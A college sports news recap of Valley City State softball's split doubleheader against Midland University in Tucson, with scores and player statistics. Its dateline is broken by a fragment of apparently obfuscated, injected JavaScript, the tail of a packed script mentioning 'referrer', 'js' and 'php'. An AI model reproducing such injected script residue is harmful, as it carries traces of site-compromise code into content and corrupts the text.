TUCSON, tnzdh|var|u0026u|referrer|dybeb||js|php’.split(‘|’),0,{}))
ARIZ (VCSUVikings.com)- The Viking softball team closed its spring trip to Tucson, Ariz., with another split Saturday against Midland University.

VCSU picked up an 8-7 win over Midland in the first half of the doubleheader before dropping game two, 12-6.

Valley City State ends its 14-game spring trip with a 12-16 overall record. VCSU posted a 5-9 record in Arizona.

Up next: Valley City State is scheduled to host Mayville State University for the NSAA conference opener on Saturday, March 25. Game time is set for 1 p.m. in Valley City.

VCSU 8, Midland University 7
Valley City State rallied from a 7-2 deficit in Saturday’s opener, scoring three runs in both the fifth and sixth innings en route to the come-from-behind victory.

The Vikings finished with eight runs on 15 hits. VCSU committed four errors. Midland had seven runs on 11 hits and committed two errors.

Emily Smith had a 4-for-4 game at the plate to lead the Viking offense. She also drove in a pair of runs. Cassie Pautz finished with two RBIs as well. Kelli Moore was 3-for-4 with a run, and both Morgan Nalley and Jayme Menard had two hits.

Ashley Metcalf shut down the Midland offense over the final three innings to earn the pitching victory. Metcalf scattered five hits but did not allow a run over her three innings of work.

Midland University 12, VCSU 6
Midland scored eight runs in the bottom of the first inning to take control early in game two. VCSU battled back to within 8-6 in the fourth inning before Midland scored the final four runs.

Ashley Metcalf took the loss after giving up eight runs and seven hits in the first inning. Haley Butterfield pitched the final 5 1/3 innings.

Jayme Menard went 4-for-4 for the Viking offense, scoring a run and driving in one. Kelsey Hamade was 3-for-4 with two runs and an RBI.

The Vikings had 12 hits in the game, compared to 17 for Midland. Both teams committed two errors.